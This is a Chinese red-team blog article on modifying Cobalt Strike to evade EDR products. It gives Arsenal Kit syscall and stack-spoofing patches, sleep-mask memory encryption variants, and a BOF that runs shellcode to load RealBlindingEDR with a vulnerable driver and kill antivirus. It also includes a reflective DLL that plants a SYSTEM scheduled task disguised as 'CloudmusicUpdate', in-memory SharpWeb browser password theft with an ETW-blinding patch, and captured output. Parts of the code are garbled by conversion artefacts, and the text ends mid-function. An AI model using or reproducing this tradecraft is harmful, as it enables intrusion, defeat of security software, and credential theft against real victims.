文章总结: 本文详述了CobaltStrike对抗EDR的武器化技术,包括利用C2Profile与SleepMaskKit修改内存特征、通过ArsenalKit实现Syscall调用与堆栈欺骗以绕过静态与行为检测。文章还展示了开发BOF和反射DLL实现无文件落地执行及凭据抓取的方法,并指出针对现代EDR的Hook与行为监控,传统的Hook注入手段面临失效风险,需采用更隐蔽的系统调用与内存加密策略。
综合评分: 90
文章分类: 免杀,红队,内网渗透,安全工具,实战经验
EDR免杀对抗:CS武器化改造技术实现
原创
Wangfly
Wangfly
0xSecurity
2026年1月28日 11:50
广东
好兄弟github:https://github.com/wangfly-me/wangfly-me
C2 profile
在默认情况下Beacon会在RWX/WCX权限的内存空间执行,这种敏感的内存属性会使得Beacon存在的内存空间更易被EDR发现。
未使用C2 Profile下RWX/WCX的内存区域中存储的即是完整的明文Beacon。
通过修改C2.profile来对Beacon的内存属性静态特征等做进一步的定制和隐匿:
- 自定义内存属性 rwx/rx。
- 自定义或删除文件头。
- 自定义命名管道名称、替换字符串。
cs在4+可以直接进行相关配置。配置文件格式可以参考:
https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/
在 Cobalt Strike 4.4 中,发布了 Sleep Mask Kit 可以自定义用于混淆 beacon 内存中的数据和字符串的加密算法。默认情况下,它使用 13 字节的 XOR 密钥,也可以完全改变算法,来改变默认 XOR 这种单字节算法。
JustC2file
通过Burp代理选中请求,生成Cobalt Strike的profile文件,同时选中目标站点至少三条GET/POST请求,且必须同时存在GET/POST。
https://github.com/Peithon/JustC2file
https://mega.nz/file/dg8RTDxD###AAxiFTcK0iUBAXlEQ6mIalZQLP1z0pWIF4qm993xz0k
Cobalt Strike在以下地方使用Artifact Kit:
- Attacks -> Packages -> Windows Executable
- Attacks -> Packages -> Windows Executable (S)
- Attacks -> Web Drive-by -> Scripted Web Delivery (bitsadmin and exe)
- Beacon’s ‘elevatesvc-exe’command
- Beacon’s ‘jump psexec’ and ‘jump psexec64’ commands
Arsenal-kit编译运行
- 安装编译环境: sudo apt-get install mingw-w64。
- 执行 /Arsenal/build_arsenalKIT.sh,不报错的话会在 /Arsenal/artifact 生成构建好的工件。
3.Load加载 /Arsenal/artifact/dist/artifact.cna 插件,之后在 Attacks -> Packages -> Windows Executable 中生成木马文件(新版本取消了该选项,正常生成木马就行)。
kits/artifact/build.sh 似乎存在bug,报错语法错误:无效的算术运算符,可以将下面的函数替换掉 kits/artifact/build.sh 的同名函数。
function checkAlignment()
{
# This will check the file size and print an error when the
# size is not a multiple of 4-bytes.
# Same as the following command:
# ls -l dist-pipe | grep -v cna | awk '$({$5 % 4}) != 0 {print $5 "\t" $9 "\t Is not 4-byte aligned.}'
files=$(ls -l "${1}" | egrep -v "cna|total")
i=-2;
size=0;
file=("");
for f in${files}; do
if [ $i-lt0 ]; then
# 前两次迭代跳过
i=$(((i + 1)))
continue
fi
if [ ${i}==4 ]; then
size=$f
elif [ ${i}==8 ]; then
file=$f
if [ $((${size} % 4)) !=0 ]; then
print-warning "[OPSEC] ${f} is not 4-byte aligned. Check the compiler options."
fi
fi
i=$(((i + 1)))
done
}
Arsenal-kit 组件魔改
Arsenal-kit Syscall(不好用)
修改arsenalKIT.config来启用Syscall。
# Artifacts will use the standard windows api or the specified system call method
# using one of the following:
# none - artifacts will use standard windows api functions
# embedded - artifacts will use syscall using the embedded
# method. This method will likely be signature
# by AV products.
# indirect - artifacts will use syscall using the indirect
# method.
# indirect/randomized - artifacts will use syscall using the indirect
# randomized method.
# Options are: none, embedded, indirect, indirect_randomized
artifactkit_syscalls_method="indirect"
在Arsenal的build.sh里面启用Syscall。
#!/usr/bin/env bash
# Default sizes
STAGER_SIZE=1024
MIN_STAGE_5K_SIZE=310272
MIN_STAGE_100K_SIZE=444928
STAGE_SIZE=$(MIN_STAGE_5K_SIZE)
COMPILE_STACK_SPOOF=0
USE_SYSCALLS=1
path.c文件里面是svscall的源代码。在定义功能函数的patch.c中引入SysWhispers2与
SysWhispers2_x86作为64位与32位Syscall函数实现,并将VirtualAlloc、VirtualProtect、CreateThread 分别改写为 NtAllocateVirtualMemory、NtProtectVirtualMemory、NtCreateThreadEx。
#elif USE_VirtualAlloc
#if USE_SYSCALLS == 1
SIZE_Tsize=length;
NtAllocateVirtualMemory(GetCurrentProcess(), &ptr, 0, &size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
#else
ptr=VirtualAlloc(0, length, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
#endif
#elif USE_MapViewOfFile
#if USE_SYSCALLS == 1
SIZE_Tsize=length;
HANDLEhFile=create_filemapped(0, length);
ptr=map_view_of_file(hFile);
NtClose(hFile);
#else
HANDLEhFile=CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, length, NULL);
ptr=MapViewOfFile(hFile, FILE_MAP_ALL_ACCESS|FILE_MAP_EXECUTE, 0, 0, 0);
CloseHandle(hFile);
#endif
#endif
Arsenal-kit 特征修改
替换用于填充的1024个A的字符串。
char data[ sizeof(phear)] =
*
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
**********
并在CNA中进行修改。
findthelocationofourdataintheexecutable
$index=indexOf($data, 'x'x1024);
更改spawn函数中用于异或算法的字符串:
- 解码过程名称:使用密钥 key 对 process 数组进行解码。使用按位异或(XOR)运算符 ^,对 process 中的每个字符与 key 中的对应字符执行异或操作。
- 解码数据缓冲区:同上。
voidspawn(void*buffer, intlength, char*key) {
// char process[64] = "MIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMIMDIMM";
charprocess[64] ="MyCustomProcessName12345678901234567890123456789012345678901234";
intx;
/* decode the process name with the key (valid name, \0, junk to fill 64) */
for (intx=0; x<sizeof(process); x++) {
*((char*)process+x) =*((char*)process+x) ^key[x%8]; // 8byteXoR
}
/* decode the payload with the key */
for (x=0; x<length; x++) {
*((char*)buffer+x) =*((char*)buffer+x) ^key[x%8]; // 8byteXoR
}
/* propagate our key function pointers to our payload */
set_key_pointers(buffer);
inject(buffer, length, process);
}
ArtifactKit原本采用8个随机数充当异或密钥,可以相应地修改 artifact.cna 中 writeb 函数,以及 patch.c 中的异或取余位数、patch.h 中结构体的key数组下标,扩充 $key 数组的位数。
# generate a random 16 Byte XoR key
$key= ();
$key[0]=int(rand() *253) +1;
$key[1]=int(rand() *253) +1;
$key[2]=int(rand() *253) +1;
$key[3]=int(rand() *253) +1;
$key[4]=int(rand() *253) +1;
$key[5]=int(rand() *253) +1;
$key[6]=int(rand() *253) +1;
$key[7]=int(rand() *253) +1;
$key[8]=int(rand() *253) +1;
$key[9]=int(rand() *253) +1;
$key[10]=int(rand() *253) +1;
$key[11]=int(rand() *253) +1;
$key[12]=int(rand() *253) +1;
$key[13]=int(rand() *253) +1;
$key[14]=int(rand() *253) +1;
$key[15]=int(rand() *253) +1;
Arsenal-kit 堆栈欺骗
虽然sleep_mask选项能够绕过内存扫描,但是当我们使用ProcessHacker查看该进程的线程堆栈时,可以发现Sleep函数的顶层调用是一个绝对地址,通常来说合法的程序会引用一个已导出的函数名,而不是引用一个内存地址,这就显得十分的可疑了。
配合C2profile中的sleep_mask选项,可以通过修改arsenalKIT.config来启用artifactkit以及设置其功能配置,要启用”堆栈欺骗”,则需将artifact_stack_sproof设置为true。
# What kits do you want to build?
include_artifactKit="true"
include_udrlKit="false"
include_sleepmaskKit="false"
include_process_injectKit="false"
include_resourceKit="false"
include_mimikatzKit="false"
# Compile stack spoofing av bypass technique?
# For additional information see: kits/artifact/READMESTACK_SPOOF.md
# This uses the Microsoft Fiber functions to implement stack spoofing.
# This is not compatible with the evasive_sleep capabilities provided
# by the sleep mask kit.
artifactkit_stack_spoof="true"
使用的方式是当调用SwitchToFiber函数时,当前线程的上下文(包括寄存器状态和堆栈)会被保存,然后加载新纤程的上下文。这样,就改变了当前线程的堆栈,实现了堆栈欺骗。在纤程切换的过程中,当前线程的堆栈被保存,然后加载新纤程的堆栈。这种方式不会使堆栈无效,而且可以正常执行代码,只是利用了纤程切换的堆栈切换
voidWINAPIMySleepFiber(DWORDms) {
if (GetCurrentThreadId() ==beacon_threadid) {
// unhook Sleep
fastTrampoline((BYTE*)Sleep, (void*)&MySleepFiber, 0);
if (mFiber==NULL) {
mFiber=ConvertThreadToFiber(NULL);
}
DWORDsleepTime=ms;
LPVOIDanotherFiber=CreateFiber(0, (LPFIBER_START_ROUTINE)MySleep, &sleepTime);
SwitchToFiber(anotherFiber);
DeleteFiber(anotherFiber);
// hook Sleep
fastTrampoline((BYTE*)Sleep, (void*)&MySleepFiber, 1);
} else {
SleepEx(ms, 0);
}
}
将cna脚本导入后再生成beacon,可以发现没有留下内存地址引用的痕迹,这就是”堆栈欺骗”的作用。被用于逃避恶意软件分析、反病毒产品和EDR在检查的线程调用堆栈中查找Shellcode帧的引用。
sleepmaskKit睡眠混淆
CobaltStrike 4.5 的sleepmask支持768bytes,局限性比较大,sleepmaskKIT默认编译也是编译为obj文件,具体处理为beacon.dll中留出一定的大小,CobaltStrike 4.5中也就是768bytes,CobaltStrike4.7中是8k也就是8192bytes,可以支持自定义更复杂的加密算法,并且可以支持外部函数。在sleepmask.c有一个sleep_mask函数,该函数通过调用maskSections和mask_heap函数来加密Beacon的内存区段和堆内存,而两个函数在common_mask.c中实现。
内存加密
maskSections函数通过遍历SLEEPMASKP结构中的区段数组,对每个区段调用mask_section函数来实现加密或解密操作。
mask_section(parms, a, b);
mask_section函数用于xor加密或解密一个特定的内存区段,它接受三个参数:一个SLEEPMASKP指针和两个指定内存区段起始和结束位置的值。
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
a++;
}
}
通过修改mask_section函数的异或加密形式,一般可以绕过绝大多数杀软的检测,前提是mask_section函数可以同时用于加密和解密,下面介绍三种异或加密的变体形式:
// 如下代码每隔一个字节进行异或加密
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
// 只有当 a 是偶数时才执行异或操作,这样可以确保每两个字节进行一次异或操作
if (a % 2 == 0) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
}
a++;
}
}
//根据字节的位置来动态生成密钥
void mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) {
while (a < b) {
// simple example of dynamic key generation
BYTE dynamic_key = (a * 37) & MASK_SIZE;
*(parms->beacon_ptr + a) ^= dynamic_key;
a++;
}
}
BYTE dynamic_key = ((a * a) + (a * 37)) & MASK_SIZE; // 对内存区域中的元素进行掩码操作
*(parms->beacon_ptr + a) ^= dynamic_key; // 增加a的值,进入下一次迭代
a++;
}
//异或紧密结合自反运算,比如NOT运算
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
while (a < b) {
*(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
*(parms->beacon_ptr + a) = ~(*(parms->beacon_ptr + a)); // bitwise NOT
a++;
}
}
堆内存加密
当Beacon在目标机器上执行C2发来的命令时,这些命令的执行结果会发送到C2服务器,为了防止被检测到,这些结果字符串在传输过程中会被加密。当beacon处于“休眠”状态时,这些命令通常会以加密的形式存储在beacon的堆或栈内存中。默认堆加密算法如下:
void mask_heap(SLEEPMASKP * parms) {
DWORD a, b;
/* mask the heap records */
a = 0;
while (parms->heapRecords[a].ptr != NULL) {
for (b = 0; b < parms->heapRecords[a].size; b++) {
parms->heapRecords[a].ptr[b] ^= parms->mask[b % MASK_SIZE];
}
a++;
}
}
- 声明两个变量a和b,类型为DWORD。
- 初始化变量a为0。
- 进入一个循环,条件是
parms->heap_record[a].ptr不为NULL。循环的目的是遍历堆记录。 - 在循环中,使用变量b从0开始遍历到
parms->heapRecords[a].size - 1,目的是遍历堆记录的每个字节。 - 在每次遍历时,将堆记录的每个字节与掩码数组parms->mask进行异或操作,掩码数组的下标是 b % MASK_SIZE 的元素。
- 循环结束后,增加变量a的值,继续下一次循环。
魔改一下,但要保证加密解密都用一个函数,使用了逆序的掩码元素,通过异或操作和逆序的掩码数组:
void mask_heap(SLEEPMASKP * parms) {
DWORD a, b;
/* mask the heap records */
a = 0;
while (parms->heapRecords[a].ptr != NULL) {
for (b = 0; b < parms->heapRecords[a].size; b++) {
parms->heapRecords[a].ptr[b] ^= parms->mask[(MASK_SIZE - 1 - b) % MASK_SIZE];
}
a++;
}
}
Ekko睡眠混淆
通过在sleepmask.c中设置以下内容来配置:
#if WIN64
#define EVASIVE_SLEEP 1
#endif
还要注意,为了在使用规避性睡眠时(特别是在进行进程注入时)避免出现任何问题,请确保通过修改evasive_sleep.c文件来启用CFG(Control Flow Guard)绕过功能,修改如下:
/*
* Enable the CFG bypass technique which is needed to inject into processes
* protected Control Flow Guard (CFG) on supported version of Windows.
*/
#define CFG_BYPASS
在evasive_sleep.c有一个evasive_sleep函数,该函数通过CreateTimerQueueTimer创建计时器,在回调中调用内存权限修改、内存加解密与延迟执行的功能代码。
void evasive_sleep(char * mask, DWORD time)
CONTEXT CtxThread $=$ {0};
CONTEXT RopProtRW $=$ {0};
CONTEXT RopMemMsk $=$ {0};
CONTEXT RopProtRX $=$ {0};
CONTEXT RopSetEvt $=$ {0};
HANDLE hTimerQueue $=$ NULL;
HANDLE hNewTimer $=$ NULL;
HANDLE hEvent $=$ NULL;
PYOID ImageBase $=$ base_location;
DWORD https://photoscloud.oss-cn-shanghai.aliyuncs.comize $=$ 0x1000;
DWORD OldProtect $=$ 0;
USTRING Key $=$ {0};
USTRING Img $=$ {0};
###if CFG_BYPASS
/* Using this variable which is not set 1st time through to only do the CFG bypass once */ if (initialize) { markCFGValid_nt(NtContinue); initialize $=$ TRUE; } ###endif
/* setup the parameters to the functions */
KeyBuffer $=$ mask;
Key.Length $=$ Key.MaximumLength $=$ MASK_SIZE;
Img.Buffer $=$ ImageBase;
Img.Length $=$ Img.MaximumLength $=$ 2 \* https://photoscloud.oss-cn-shanghai.aliyuncs.comize;
hEvent $=$ CreateEventA(0,0,0,0);
hTimerQueue $=$ CreateTimerQueue();
if (hEvent && hTimerQueue && CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTIMERTHEAD)) { WaitForSingleObject(hEvent, 0x32); // This is needed
/\* Setup the function calls to be added to the queue timer / memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemMsk, &CtxThread, sizeof(CONTEXT)); memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT)); memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT)); // VirtualProtect( ImageBase, https://photoscloud.oss-cn-shanghai.aliyuncs.comize, PAGE_READWRITE, &OldProtect); RopProtRW.Rsp $= = 8$ . RopProtRW.Rip $=$ (DWORD_PTR) VirtualProtect; RopProtRW.Rcx $=$ (DWORD_PTR) ImageBase; RopProtRW.Rdx $=$ https://photoscloud.oss-cn-shanghai.aliyuncs.comize; RopProtRW.R8 $=$ PAGE_READWRITE; RopProtRW.R9 $=$ (DWORD_PTR) &OldProtect; // SystemFunction032(&Key, &Img); RopMemMsk.Rsp $= = 8$ . RopMemMsk.Rip $=$ (DWORD_PTR) SystemFunction032; RopMemMsk.Rcx $=$ (DWORD_PTR) &Img; RopMemMsk.Rdx $=$ (DWORD_PTR) &Key; // VirtualProtect( ImageBase, https://photoscloud.oss-cn-shanghai.aliyuncs.comize, PAGE_EXECUTE_READ, &OldProtect); RopProtRX.Rsp $= = 8$ . RopProtRX.Rip $=$ (DWORD_PTR) VirtualProtect; RopProtRX.Rcx $=$ (DWORD_PTR) ImageBase; RopProtRX.Rdx $=$ https://photoscloud.oss-cn-shanghai.aliyuncs.comize; RopProtRX.R8 $=$ PAGE_EXECUTE_READ; RopProtRX.R9 $=$ (DWORD_PTR)&OldProtect;
beacon插件开发(无文件落地)
BOF RealBlindingEDR内存加载
CS官方模板: https://github.com/Cobalt-Strike/bof-vs
%UserProfile%\Documents\Visual Studio 2022\Templates\ProjectTemplates\Beacon Object File
beacon在线 execute加载BOF程序,beacon的命令inline execute,格式如下:
beacon_inline_execute($1, $data, "demo", $args);
- $1 – the id for the Beacon
- $2 – a string containing the BOF file
- $3 – the entry point to call
- $4 – packed arguments to pass to the BOF file
- $5 – (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID, $2 = results, $3 = information map
BOF代码
360核晶环境下,bdllspawn 等函数全部失效,因为在执行的时候,会spawn一个新的进程,核晶会进行拦截(二开很难)。部分项目体积较大,无法修改为BOF项目。
绕过拦截思路:
- 将需要落地执行的exe转换为bin。
- 编写BOF,将bin”注入”到当前进程运行,可以执行成功。
缺点:beacon会卡死,若有运行结果产生则需要到进程链的父进程查看。
优点:没有进程注入等高危行为,核晶不会拦截。
C:\tools\16-免杀工具\donut>donut.exe-fRealBlindingEDR.exe-a2
[ Donut shellcode generator v0.9.2
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : PIC
[ Module file : "RealBlindingEDR.exe"
[ File type : EXE
[ Target CPU : AMD64
[ AMSI/WDLP : continue
[ Shellcode : "payload.bin"
代码里面没有注入进程等高危动作产生。
void go(char* buff, int len) {
#ifdef BOF
DFR_LOCAL(KERN32, VirtualAlloc);
DFR_LOCAL(KERN32, WriteProcessMemory);
DFR_LOCAL(KERN32, GetCurrentProcess);
// add ...
#endif
datap parser;
LPBYTE lpShellcodeBuffer = NULL;
DWORD dwShellcodeBufferSize = 0;
LPVOID pMem;
SIZE_T bytesWritten = 0;
DWORD dwThreadId = 0;
BeaconDataParse(&parser, buff, len);
lpShellcodeBuffer = (LPBYTE)BeaconDataExtract(&parser, (int*)&dwShellcodeBufferSize);
pMem = VirtualAlloc(0, dwShellcodeBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), pMem, lpShellcodeBuffer, dwShellcodeBufferSize, &bytesWritten);
((void(*)())pMem)();
}
将bin文件作为参数传入BOF中。
item "RealBlindingEDR (牺牲当前beacon)" {
$bid = $1 '@');
$dialog = dialog("kill 360核晶", %(sysFile => "", bid => $bid), &killAVDead);
dialog_description($dialog, "RealBlindingEDR牺牲当前beacon\ndbutil_2_3.sys driver supports win7 and above\necho_driver.sys driver supports win10 and above.");
drow_file($dialog, "sysFile", "选择驱动: ");
button_action($dialog, "Run");
dialog_show($dialog);
}
sub killAVDead {
$bid = $3['bid'];
$sysfile = $3['sysFile'];
$barch = barch($bid);
$barch = barch($bid);
print_info($bid, "[*]正在上传必要文件...!");
upload_file($bid, "C:\ProgramData\echo_driver.sys", $sysfile);
$handle1 = openf.script_resource("/module/I_AntiAV/inject $+ . $+ $barch $+ .obj"));
$data1 = readb($handle1, -1);
closef($handle1);
$handle2 = openf.scriptResource("/module/I_AntiAV/RealBlindingEDR.bin"));
$data2 = readb($handle2, -1);
closef($handle2);
$args = bof_pack($bid, "b", $data2);
beacon_inline_execute($bid, $data1, "go", $args);
# brm($bid, "C:\ProgramData\echo_driver.sys");
}
反射DLL COM接口添加计划任务
反射DLL模板:https://github.com/stephenfewer/ReflectiveDLLInjection/
//
//
// This is a stub for the actual functionality of the DLL.
//
//
#include "ReflectiveLoader.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
//
//
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA(NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
对应的cna脚本。
alias reflective_dll {
btask($1, "Task Beacon to run reflective_dll...");
bdllspawn($1, script_resource("reflective_dll.dll"), $null, "MessageBoxA", 1000);
}
Cobalt strike加载执行。
$\mathbf{C} + +$ 代码
使用Cobalt strike反射DII实现无文件落地,添加计划任务,实现bypass权限维持。
反射DLL,添加计划任务代码如下:
int login(HANDLE han, LPWSTR time, LPWSTR filename) {
HRESULT hello = CoInitializeEx(NULL, COINITMULTITHREADED);
hello = CoInitializeSecurity(NULL, -1, NULL, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
string wszTaskName = "CloudmusicUpdate";
wstring time_period = L"PT" + wstring(time) + L"M";
ITaskService* pService = NULL;
hello = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
hello = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL;
hello = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
pRootFolder->DeleteTask(_bstr_t(wszTaskName.c_str()), 0);
ITaskDefinition* pTask = NULL;
hello = pService->NewTask(0, &pTask);
pService->Release();
IRegistrationInfo* pRegInfo = NULL;
hello = pTask->get_RegistrationInfo(&pRegInfo);
hello = pRegInfo->put_Author(_bstr_t(L"Administrator"));
pRegInfo->Release();
ITriggerCollection* pTriggerCollection = NULL;
hello = pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hello = pTriggerCollection->Create(TASK_TRIGGER_DAILY, &pTrigger);
pTriggerCollection->Release();
IDailyTrigger* pDailyTrigger = NULL;
hello = pTrigger->QueryInterface(IID_IDailyTrigger, (void**)&pDailyTrigger);
pTrigger->Release();
hello = pDailyTrigger->put_Id(_bstr_t(L"Trigger1"));
hello = pDailyTrigger->put_StartBoundary(_bstr_t(L"2005-01-01T00:00:00"));
hello = pDailyTrigger->put_EndBoundary(_bstr_t(L"2037-05-02T12:05:00"));
hello = pDailyTrigger->put_DaysInterval((short)1);
IRepetitionPattern* pRepetitionPattern = NULL;
hello = pDailyTrigger->get_Repetition(&pRepetitionPattern);
pDailyTrigger->Release();
hello = pRepetitionPattern->put_Duration(_bstr_t(L"PT24H"));
hello = pRepetitionPattern->put_Interval(_bstr_t(time_period.c_str()));
pRepetitionPattern->Release();
IActionCollection* pActionCollection = NULL;
hello = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hello = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
IExecAction* pExecAction = NULL;
hello = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pAction->Release();
hello = pExecAction->put_Path(filename);
pExecAction->Release();
IRegisteredTask* pRegisteredTask = NULL;
hello = pRootFolder->RegisterTaskDefinition(_bstr_t(wszTaskName.c_str()), pTask, TASK_CREATE_OR_UPDATE, _variant_t("SYSTEM"), _variant_t(), TASK_LOGON_PASSWORD, _variant_t(L""), &pRegisteredTask);
if (FAILED(hello)) {
printf("Error");
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("success");
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
CNA编写
编写cna脚本,弹窗Dialog对话框,并添加计划任务。
menu "SCHTASK API (DLL)" {
item "创建计划任务" {
$bid = $1['@'];
}
}
$filepath = script_resource("/module/B_Persistence/schtask_bypass.x64.dll");
$dialog = dialog("输入信息", %(taskname => "Cloudmusic", execpath => $upload_path, time => "10"), {
$args = "\"". $3['taskname']. "<\"\"". $3['execpath']. "\\"". $3['time']);
bdllspawn($bid, $filepath, $args, "sch_Dills", 5000, false);
};
drow_text($dialog, "taskname", "计划任务名称: ");
drow_text($dialog, "execpath", "被执行文件路径: ");
drow_text($dialog, "time", "循环一次的时间(单位: min): ");
dbbutton_action($dialog, "运行");
dialog_show($dialog);
}
运行
.NET程序集SharpWeb内存加载抓取浏览器密码
bextendable将.NET程序集加载到目标内存运行,beacon的命令execute assemble,格式如下:
bexecute_assembly( $1, scriptResource(“myutil.exe”), “arg1 arg2$ “arg 3}”)
- $1 – the id for the beacon. This may be an array or a single ID.
- $2 – the local path to the .NET executable assembly.
- $3 – parameters to pass to the assembly.
- $4 – (optional) the “PATCHES:” argument can modify functions in memory for the process. Up to 4 “patch-rule” rules can be specified (space delimited).
- $5 – (optional) callback function with the results. Arguments to the callback are: $1 = beacon ID, $2 = results, $3 = information map.
SharpWeb
https://github.com/StarfireLab/SharpWeb
Export all browningdata闩 (password/cookie/history/download/ bookmark) from browser By @lele8
-all Obtain all browser data
-b Available browsers: chromium/firefox/ie
-p Custom profile dir path, get with chrome://version
-show Output the results on the command line
-zip Compress result to zip (default: false)
Usage: SharpWeb.exe -all SharpWeb.exe -all -zip SharpWeb.exe -all -show SharpWeb.exe -bfirefox SharpWeb.exe -b chromium -p "C:\Users\test/AppData\Local\Google\Chrome\User Data\Default"
CNA编写
PATCHES: ntdll.dll,EtwEventWrite,0,C300: 0xC3 是 x86/x64 汇编中的一条指令,对应的是 ret(返回)指令。被用来替换EtwEventWrite系统函数的开头指令使该函数立即返回而不执行原本的功能。实现致盲ETW的功能。
item "SharpWeb(.NET)" {
bexecute_assembly($1, script_resource("/module/F_Credential/C_Browsers_Cred/SharpWeb.exe"), "-all", "PATCHES: ntdll.dll,EtwEventWrite,0,C300");
}
$\mathrm{C}++$ 代码实现该功能。
void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
unsigned char etwPatch[] = { 0xC3 };
DWORD lpflOldProtect = 0;
unsigned __int64 memPage = 0x1000;
void* etwAddr_bk = etwAddr;
NtProtectVirtualMemory(GetCurrentProcess(), (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, 0x04, &lpflOldProtect);
NtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)etwAddr, (PVOID)etwPatch, sizeof(etwPatch), (PULONG)nullptr);
NtProtectVirtualMemory(GetCurrentProcess(), (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, lpflOldProtect, &lpflOldProtect);
[12/18 16:19:00] [*] Tasked beacon to run .NET program: SharpWeb.exe -all
[12/18 16:19:01] [+] host called home, sent: 515332 bytes
[12/18 16:19:01] [+] received output:
...
...
>>> Chrome (Current Users) <<<
[*] Get Chrome Login Data
CSV file written successfully to: out\Chrome_password.csv
[*] Get Chrome Bookmarks
[-] C:\Users\OMG\AppData\Local\Google\Chrome\Data\Default\Bookmarks Not Found!
[*] Get Chrome Cookie
[-] Cookies File Not Found OR Browser is running!
[*] Get Chrome History
[12/18 16:19:06] [+] received output:
CSV file written successfully to: out\Chrome_history.csv
[*] Get Chrome Downloads
CSV file written successfully to: out\Chrome_download.csv
>>> Edge (Current Users) <<<
[*] Get Edge Login Data
CSV file written successfully to: out\Edge_password.csv
[*] Get Edge Bookmarks
[-] C:\Users\OMG\AppData\Local\Microsoft\Edge\Data\Default\Bookmarks Not Found!
[*] Get Edge Cookie
[-] Cookies File Not Found OR Browser is running!
[*] Get Edge History
结语
Cobalt strike目前针对于国外企业级EDR、AV的对抗已经非常糟糕了,以卡巴斯基企业版举例,常用的规避内存扫描的方法:hook kernel32!Sleep然后加密X属性内存块或者将属性设置为PAGE_NOACCESS,但目前已经对卡巴斯基企业版等国外企业级EDR完全失效,内存扫描已经不单单只进行特征码匹配,如发现进程产生一些hook等高危行为,卡巴会对产生这些行为的进程直接查杀。
行为监控是终端威胁检测与响应(EDR)系统中的重要功能之一,用于检测和防止恶意活动。Hooking是一种常见的恶意行为,攻击者利用它来修改系统或应用程序的正常行为,通常用于注入恶意代码、窃取信息或隐藏恶意活动等。监控Hooking行为通常包括以下几个方面:
- API钩子检测:EDR系统可以监视操作系统或应用程序中的API调用,并识别可能的API Hooking行为。它们会检查API调用的参数、频率以及与已知的Hooking技术相关的模式。
- 内存扫描:监控内存变化和模块加载。恶意Hooking常涉及将恶意代码加载到受感染的进程内存中,EDR可以扫描和监视这些变化,检测到不寻常的模块加载或内存修改。
- 行为分析:通过建立基线行为,EDR系统可以识别和警报任何与正常操作不符的行为。这可能涉及文件系统、注册表、网络活动等方面的异常行为。
4.栈保护检测:Hooking技术可能会修改函数调用的栈,EDR可以监控栈的变化来识别潜在的Hooking行为。
- 代码完整性检查:定期检查系统或关键进程的代码完整性,以发现是否有被篡改的迹象。
Hook代码示例:
void Hook() {
DetourRestoreAfterWith(); // 避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter) {
